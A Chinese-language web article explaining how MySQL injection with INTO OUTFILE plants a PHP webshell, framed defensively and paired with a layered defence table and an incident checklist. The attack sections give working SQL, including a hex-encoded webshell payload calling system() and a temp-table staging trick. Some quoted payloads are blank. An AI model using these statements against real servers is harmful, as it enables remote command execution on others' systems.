首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL 注入導出 WebShell 技術原理分析與防禦對策

     編輯:MySQL 資料庫相關知識

SQL 注入結合 INTO OUTFILE 寫入 WebShell 是經典攻擊鏈。本文從防禦視角剖析攻擊原理、利用條件、檢測特徵與多層次防禦體系,嚴禁用於非授權測試。

一、攻擊鏈原理

-- 經典 UNION 注入寫入單行 WebShell
SELECT '' INTO OUTFILE '/var/www/html/shell.php';

-- 或結合 UNION SELECT 繞過欄位數限制
SELECT 1,2,'',4,5 INTO OUTFILE '/var/www/html/shell.php';

核心條件:

  1. MySQL 用戶擁有 FILE 權限(GRANT FILE ON *.* TO ...)。
  2. 目標路徑對 MySQL 進程可寫(secure_file_priv 未限制或路徑在允許目錄下)。
  3. Web 目錄可執行 PHP(未禁用腳本執行、副檔名解析正確)。
  4. 注入點可控制 SELECT 語句(Union/子查詢/錯誤回顯等)。

二、十六進制編碼繞過過濾

-- 將 PHP 代碼十六進制化,避免引號、特殊字符被 WAF 攔截
SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E INTO OUTFILE '/var/www/html/shell.php';
-- 0x3C3F706870... 解碼為 

攻擊者常用工具自動生成編碼,WAF 需解碼後再檢測。

三、臨時表中轉技巧

DROP TABLE IF EXISTS tmp;
CREATE TABLE tmp (cmd TEXT);
INSERT INTO tmp VALUES ('');
SELECT cmd FROM tmp INTO OUTFILE '/var/www/html/shell.php';
DROP TABLE IF EXISTS tmp;

用於單語句注入點無法直接寫入長字符串時,分步驟繞過長度限制。

四、防禦體系(纵深防御)

層級措施關鍵配置/代碼
資料庫層最小權限原則REVOKE FILE ON *.* FROM 'app_user'@'%'; 業務帳號嚴禁 FILE 權限
資料庫層限制導出目錄secure_file_priv = /var/lib/mysql-files/ 僅允許特定非 Web 目錄
資料庫層禁用 INTO OUTFILEMySQL 8.0+ 可用 --disable-grant-options 或權限審計插件
應用層參數化查詢 / 預處理PreparedStatement、ORM 參數綁定,嚴禁字符串拼接 SQL
應用層輸入驗證與輸出編碼白名單驗證、HTML/JS/SQL 編碼輸出
應用層錯誤訊息不回顯生產環境關閉詳細錯誤,統一友好提示
網絡層WAF 規則檢測 INTO OUTFILE、UNION SELECT、十六進制長字符串、0x 開頭 payload
主機層Web 目錄不可寫chown root:root /var/www/html; chmod 755 PHP-FPM 用戶無寫權限
主機層禁用危險函數disable_functions = exec,system,shell_exec,passthru,popen,proc_open
監控層異常檔案監控Inotify/OSSEC 監控 Web 目錄新增 .php/.jsp/.asp 檔案即時告警

五、應急排查清單

  1. 檢查 Web 目錄近期新增/修改的腳本檔案(find /var/www -name '*.php' -mtime -1)。
  2. 審計 MySQL 通用日誌/審計日誌中的 INTO OUTFILE、FILE 權限使用記錄。
  3. 檢查資料庫帳號權限:SHOW GRANTS FOR 'app_user'@'%'; 確認無 FILE 權限。
  4. 驗證 secure_file_priv 生效:SHOW VARIABLES LIKE 'secure_file_priv';
  5. 清理 WebShell,修復注入點,輪換資料庫密鑰,升級 WAF 規則。

SQL 注入寫 WebShell 看似經典,實則是「權限過大 + 目錄可寫 + 參數化缺失」多重失誤疊加。唯有纵深防御,才能將單點失誤限制在可控範圍內。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved